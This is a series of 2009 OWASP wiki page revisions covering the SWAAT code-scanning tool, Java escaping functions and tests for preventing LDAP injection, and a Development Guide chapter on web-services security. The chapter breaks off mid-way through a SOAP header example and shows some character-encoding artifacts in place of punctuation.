* [http://www.attrition.org/pipermail/vim/attachments/20060914/42b97c1d/attachment-0001.obj Metrics on reported flaws from Mitre]<br />
<br />
<br />
== Feedback and Participation: ==<br />
<br />
We hope you find the OWASP Application Security Metrics Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to owasp@owasp.org. To join the OWASP Application Security Metrics Project mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-metrics subscription page.]<br />
<br />
== Project Contributors: ==<br />
<br />
If you contribute to this Project, please add your name here<br />
Project Lead:<br />
<br />
* Bob Austin of KoreLogic Security. He can be reached at austinb@korelogic.com. <br />
<br />
Contributors:<br />
<br />
* Cliff Barlow, KoreLogic Security<br />
* James McGovern, The Hartford<br />
<br />
<br />
[[Category:OWASP Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:Security_Architecture&diff=63517
Category:Security Architecture
2009-06-03T12:50:37Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>This category should be used to tag articles that are related to security architecture. This might include articles about<br />
* reference architectures for various platforms<br />
* incorporating risk information into architectural tradeoffs<br />
* details of how to do architecture reviews<br />
<br />
You should visit the [[:Category:OWASP CLASP Project|OWASP CLASP Project]] for more information.</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:OWASP_SWAAT_Project&diff=63516
Category:OWASP SWAAT Project
2009-06-03T12:50:35Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>== Overview ==<br />
<br />
'''SWAAT''' is an open source web application source code analysis tool. SWAAT searches through source code and analyzes against the database of potentially dangerous strings given in the .xml files. Thus it does NOT positively identify the existence of a vulnerability - this generally requires application contextual knowledge. It identifies the usage of functions / strings / SQL that could lead to a finding. All potentially dangerous code references are included in the output report.<br />
<br />
The current version of SWAAT works only with server pages. Expect to see enhanced functionality in future versions of the application.<br />
<br />
== Goals ==<br />
<br />
The aim of SWAAT is to help developers, testers, security staff, and auditors locate potentially dangerous portions of source code; it is designed to assist source code review.<br />
<br />
After reviewing millions of lines of source code, most security professionals believe that automated run-time analysis tools are useful at identifying simple, common vulnerabilities. In most cases, however, the vast majority of vulnerabilities require human intelligence and knowledge of the application. SWAAT helps to reduce the burden of source code review by identifying potentially dangerous functions and strings in code and explaining both how they may be dangerous and how to mitigate potential risks.<br />
<br />
== Download ==<br />
<br />
You can download the source here: http://www.securitycompass.com/swaat/swaat_source.zip<br />
<br />
== System Requirements ==<br />
<br />
SWAAT was designed for the [http://msdn2.microsoft.com/en-us/netframework/aa731542.aspx. NET Framework] 1.1.4322 or lower. SWAAT has been successfully tested on both Windows and Linux using [http://www.mono-project.com/Main_Page Mono.]<br />
<br />
== Execution ==<br />
<br />
SWAAT is a command-line driven program for Windows and under Mono for Linux. In this first release, SWAAT must be run from within its installation directory.<br />
<br />
The scenario below shows a simple execution of SWAAT:<br />
<br />
c:\program files\swaat> swaat ..\myapp<br />
<br />
Here we are running SWAAT on all files in the "c:\program files\myapp" directory.<br />
<br />
You can optionally execute swaat on specific files:<br />
<br />
c:\program files\swaat> swaat ..\myApp\somefile.php<br />
<br />
Results of the analysis are listed by default in a file called SWAAT-<year month day time>.html (e.g. SWAAT-20060723164024.html). If you wish to specify a different file use the –o option:<br />
<br />
c:\program files\swaat> swaat –o myOutput.html ..\myApp<br />
<br />
You may optionally turn off the xsl transform and simply save the raw xml results by using the –x option:<br />
<br />
c:\program files\swaat> swaat –x ..\myApp\*.php<br />
<br />
By running SWAAT you agree to the license terms described in license.txt<br />
<br />
== Additional Options ==<br />
<br />
SWAAT allows for two other options, the “–a lang” option and the “–i” option:<br />
<br />
* The “-a lang” allows you to force all extensions to be mapped to a particular language.<br />
<br />
c:\program files\swaat> swaat –a PHP ..\myApp\<br />
<br />
Note: Please ensure the language type must be in upper case (ASP, JSP, PHP).<br />
<br />
* The –I option ignores case when reading the content of the files as well as while reading the functions provided in the signature files.<br />
<br />
== Configuration ==<br />
<br />
This version of SWAAT works on JSP, ASP .Net, and PHP. It also searches for generic indicators such as "SQL" and "Password", so it may provide some value on other platforms.<br />
Singatures for ASP, JSP and PHP functions are in their respective asp.xml, jsp.xml and php.xml files. Each signature file has mandatory XML tags "vuln match" and "type" and optional tags "severity" and "alt".<br />
<br />
* "vuln match" contains the string token to search for<br />
* "type" masp to a type of vulnerability as described in the "msg name" tags in msg.xml (e.g. userinput, racecondition, OSScripting, etc.)<br />
* "severity" specifies the risk level (high, medium, or low)<br />
* "alt" is a suggestion for an alternative, lower risk function to use (e.g. SecureRandom instead of Random)<br />
<br />
In addition, the file embedded.xml looks for expressions across all three types of files (Java, ASP, and PHP). All "vuln match" tags in embedded.xml must start and end with ".*" wild card characters.<br />
<br />
Regular expression searches can be added to any of the above-mentioned xml files.<br />
<br />
The "vuln match" must contain the regular expression to search for. The following characters must be escaped with with a '\' character to be interpreted literally: ^ $ | ? . ( ) \ + * (e.g. "=".*\^" would find the literal string "^foobar").<br />
<br />
== Future Development ==<br />
<br />
Future releases of SWAAT will include: <br />
<br />
* a graphical user interface (GUI)<br />
* integrated development environment (IDE) plug-ins<br />
* more sophisticated functionality and logic (for example to work with .java source)<br />
<br />
== Feedback and Participation ==<br />
<br />
We hope you find the OWASP SWAAT Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to owasp@owasp.org. An OWASP SWAAT Project mailing list currently does not exist, but please check back here at a later date. <br />
<br />
If you do make any additions to the configuration files or have any contributions to the findings database, please send them to owasp@owasp.org so they can be included in the next release. <br />
<br />
== Project Sponsors ==<br />
<br />
SWAAT was generously donated by [http://www.securitycompass.com http://www.securitycompass.com/images/logo_small.JPG]<br />
<br />
[[Category:OWASP Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Preventing_LDAP_Injection_in_Java&diff=63515
Preventing LDAP Injection in Java
2009-06-03T12:50:34Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>==Status==<br />
Needs to be reviewed<br />
<br />
==Approach==<br />
The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries doesn't contain any attacks. You can read more in [[:Category:OWASP Guide Project|the OWASP Development Guide]] about input validation.<br />
<br />
However, in some cases, it is necessary to include special characters in input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually LDAP query. Rather, the encoding lets the interpreter treat those special characters as data.<br />
<br />
Here are a few methods for escaping certain meta-characters in LDAP queries. Both the distinguished name (DN) and the search filter have their own sets of meta-characters. In the case of Java, it is also necessary to escape any JNDI meta-characters, since java uses JNDI to perform LDAP queries.<br />
<br />
public static String escapeDN(String name) {<br />
StringBuffer sb = new StringBuffer(); // If using JDK >= 1.5 consider using StringBuilder<br />
if ((name.length() > 0) && ((name.charAt(0) == ' ') || (name.charAt(0) == '#'))) {<br />
sb.append('\\'); // add the leading backslash if needed<br />
}<br />
for (int i = 0; i < name.length(); i++) {<br />
char curChar = name.charAt(i);<br />
switch (curChar) {<br />
case '\\':<br />
sb.append("\\\\");<br />
break;<br />
case ',':<br />
sb.append("\\,");<br />
break;<br />
case '+':<br />
sb.append("\\+");<br />
break;<br />
case '"':<br />
sb.append("\\\"");<br />
break;<br />
case '<':<br />
sb.append("\\<");<br />
break;<br />
case '>':<br />
sb.append("\\>");<br />
break;<br />
case ';':<br />
sb.append("\\;");<br />
break;<br />
default:<br />
sb.append(curChar);<br />
}<br />
}<br />
if ((name.length() > 1) && (name.charAt(name.length() - 1) == ' ')) {<br />
sb.insert(sb.length() - 1, '\\'); // add the trailing backslash if needed<br />
}<br />
return sb.toString();<br />
}<br />
<br />
Escaping the search filter:<br />
<br />
public static final String escapeLDAPSearchFilter(String filter) {<br />
StringBuffer sb = new StringBuffer(); // If using JDK >= 1.5 consider using StringBuilder<br />
for (int i = 0; i < filter.length(); i++) {<br />
char curChar = filter.charAt(i);<br />
switch (curChar) {<br />
case '\\':<br />
sb.append("\\5c");<br />
break;<br />
case '*':<br />
sb.append("\\2a");<br />
break;<br />
case '(':<br />
sb.append("\\28");<br />
break;<br />
case ')':<br />
sb.append("\\29");<br />
break;<br />
case '\u0000': <br />
sb.append("\\00"); <br />
break;<br />
default:<br />
sb.append(curChar);<br />
}<br />
}<br />
return sb.toString();<br />
}<br />
<br />
Test class:<br />
<br />
//escapeDN<br />
assertEquals("No special characters to escape", "Helloé", escapeDN("Helloé"));<br />
assertEquals("leading #", "\\# Helloé", escapeDN("# Helloé"));<br />
assertEquals("leading space", "\\ Helloé", escapeDN(" Helloé"));<br />
assertEquals("trailing space", "Helloé\\ ", escapeDN("Helloé "));<br />
assertEquals("only 3 spaces", "\\ \\ ", escapeDN(" "));<br />
assertEquals("Christmas Tree DN", "\\ Hello\\\\ \\+ \\, \\\"World\\\" \\;\\ ", Test.escapeDN(" Hello\\ + , \"World\" ; "));<br />
<br />
assertEquals("No special characters to escape", "Hi This is a test #çà", SecTool.escapeLDAPSearchFilter("Hi This is a test #çà"));<br />
assertEquals("LDAP Christams Tree", "Hi \\28This\\29 = is \\2a a \\5c test # ç à ô", SecTool.escapeLDAPSearchFilter("Hi (This) = is * a \\ test # ç à ô"));<br />
<br />
[[Category:OWASP Java Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Web_Services&diff=63513
Web Services
2009-06-03T12:50:30Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[Guide Table of Contents|Development Guide Table of Contents]]<br />
__TOC__<br />
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]<br />
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.<br />
<br />
Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications. <br />
<br />
==What are Web Services?==<br />
<br />
Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.<br />
<br />
One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java. <br />
<br />
Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state. <br />
<br />
The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data. <br />
<br />
At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases. <br />
<br />
==Securing Web Services ==<br />
<br />
Web services, like other distributed applications, require protection at multiple levels:<br />
<br />
* SOAP messages that are sent on the wire should be delivered confidentially and without tampering<br />
<br />
* The server needs to be confident who it is talking to and what the clients are entitled to<br />
<br />
* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)<br />
<br />
* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers<br />
<br />
Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.<br />
<br />
The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.<br />
<br />
==Communication security ==<br />
<br />
There is a commonly cited statement, and even more often implemented approach â âÂÂwe are using SSL to protect all communication, we are secureâÂÂ. At the same time, there have been so many articles published on the topic of âÂÂchannel security vs. token securityâ that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:<br />
<br />
* It provides only âÂÂpoint-to-pointâ security<br />
<br />
Any communication with multiple âÂÂhopsâ requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.<br />
<br />
* Storage issue<br />
<br />
After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least â temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.<br />
<br />
* Lack of interoperability<br />
<br />
While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains. <br />
<br />
Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.<br />
<br />
That said â the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.<br />
<br />
==Passing credentials ==<br />
<br />
In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.<br />
<br />
First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.<br />
<br />
Second, passing credentials carries an inherited risk of their disclosure â either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent âÂÂin the clearâÂÂ. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.<br />
<br />
==Ensuring message freshness ==<br />
<br />
Even a valid message may present a danger if it is utilized in a âÂÂreplay attackâ â i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).<br />
<br />
Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.<br />
<br />
The latter solution, although easier to implement, requires clock synchronization and is sensitive to âÂÂserver time skew,â whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.<br />
<br />
==Protecting message integrity ==<br />
<br />
When a message is received by a web service, it must always ask two questions: âÂÂwhether I trust the caller,â âÂÂwhether it created this message.â Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the messageâÂÂs timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.<br />
<br />
In communication protocols, there are usually some mechanisms like checksum applied to ensure packetâÂÂs integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.<br />
<br />
==Protecting message confidentiality ==<br />
<br />
Oftentimes, it is not sufficient to ensure the integrity â in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it â in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.<br />
<br />
Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.<br />
<br />
In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles â signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department. <br />
<br />
==Access control ==<br />
<br />
After the message has been received and successfully validated, the server must decide:<br />
<br />
* Does it know who is requesting the operation (Identification)<br />
<br />
* Does it trust the callerâÂÂs identity claim (Authentication)<br />
<br />
* Does it allow the caller to perform this operation (Authorization)<br />
<br />
There is not much WS-specific activity that takes place at this stage â just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.<br />
<br />
There is another significant problem here â the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web serverâÂÂs traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.<br />
<br />
==Audit ==<br />
<br />
A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as âÂÂaudit trailâÂÂ. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.<br />
<br />
Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an âÂÂelectronic signatureâÂÂ, but its definition is extremely broad and can mean practically anything â in many cases, entering your name and birthday qualifies as an e-signature.<br />
<br />
As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding â if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key. <br />
<br />
==Web Services Security Hierarchy ==<br />
<br />
Technically speaking, Web Services themselves are very simple and versatile â XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see <u>http://www.w3.org/TR/2005/WD-wsdl20-20050510</u>), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.<br />
<br />
===Standards committees ===<br />
<br />
Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below. <br />
<br />
W3C (see <u>http://www.w3.org</u>) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3CâÂÂs jargon).<br />
<br />
OASIS (see <u>http://www.oasis-open.org</u>) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards. <br />
<br />
Web Services Interoperability Organization (WS-I, see <u>http://www.ws-i.org/</u>) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASISâ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.<br />
<br />
Liberty Alliance (LA, see <u>http://projectliberty.org</u>) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS. <br />
<br />
Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industryâÂÂs leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.<br />
<br />
==SOAP ==<br />
<br />
Simple Object Access Protocol (SOAP, see <u>http://www.w3.org/TR/2003/REC-soap12-part1-20030624/</u>) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web ServiceâÂÂs WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.<br />
<br />
SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges â the communications must either happen over secure channels, or use protection mechanisms described later in this chapter. <br />
<br />
===XML security specifications (XML-dsig & Encryption) ===<br />
<br />
XML Signature (XML-dsig, see <u>http://www.w3.org/TR/2002/REC-xmldsig-core-20020212</u>/), and XML Encryption (XML-enc, see <u>http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/</u>) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them. <br />
<br />
The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.<br />
<br />
However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.<br />
<br />
===Security specifications ===<br />
<br />
In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations. <br />
<br />
One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way. <br />
<br />
A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as âÂÂWeb Services RoadmapâÂÂ. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.<br />
<br />
==WS-Security Standard ==<br />
<br />
WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a âÂÂRoadmapâÂÂ, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.<br />
[[category:FIXME | outdated info? is it complete now?]]<br />
<br />
===Organization of the standard ===<br />
<br />
The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are: <br />
<br />
* Ways to add security headers (WSSE Header) to SOAP Envelopes<br />
<br />
* Attachment of security tokens and credentials to the message <br />
<br />
* Inserting a timestamp<br />
<br />
* Signing the message<br />
<br />
* Encrypting the message <br />
<br />
* Extensibility<br />
<br />
Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token. <br />
<br />
[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]<br />
<br />
===Purpose ===<br />
<br />
The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.<br />
<br />
From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.<br />
<br />
==WS-Security Building Blocks ==<br />
<br />
The WSS standard actually consists of a number of documents â one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.<br />
<br />
Core WSS 1.1 specification, located at <u>http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf</u>, defines several types of security tokens (discussed later in this section â see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers â see the XML Dsig section for more details about their general structure.<br />
<br />
Associated specifications are:<br />
<br />
* Username token profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf</u>, which adds various password-related extensions to the basic UsernameToken from the core specification<br />
<br />
* X.509 token profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf</u> which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document<br />
<br />
* SAML Token profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf</u> that specifies how XML-based SAML tokens can be inserted into WSS headers.<br />
<br />
* Kerberos Token Profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf</u> that defines how to encode Kerberos tickets and attach them to SOAP messages.<br />
<br />
* Rights Expression Language (REL) Token Profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf</u> that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.<br />
<br />
* SOAP with Attachments (SWA) Profile 1.1, located at <u>http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf</u> that describes how to use WSS-Sec with SOAP Messages with Attachments.<br />
<br />
===How data is passed ===<br />
<br />
WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:<br />
<br />
<br />
<br />
''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''<br />
<br />
<br />
<br />
After encoding a binary element, an attribute with the algorithmâÂÂs identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.<br />
<br />
===Security headerâÂÂs structure ===<br />
<br />
A security header in a message is used as a sort of an envelope around a letter â it seals and protects the letter, but does not care about its content. This âÂÂindifferenceâ works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.<br />
<br />
A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present â so, the minimalist header with an empty message will look like:<br />
<br />
<br />
<br />
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br />
<soap:Header><br />
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1"><br />
<br />
</wsse:Security><br />
</soap:Header><br />
<soap:Body><br />
<br />
</soap:Body><br />
</soap:Envelope><br />
<br />
<br />
<br />
However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture: <br />
<br />
<br />
<br />
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br />
<soap:Header><br />
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1"><br />
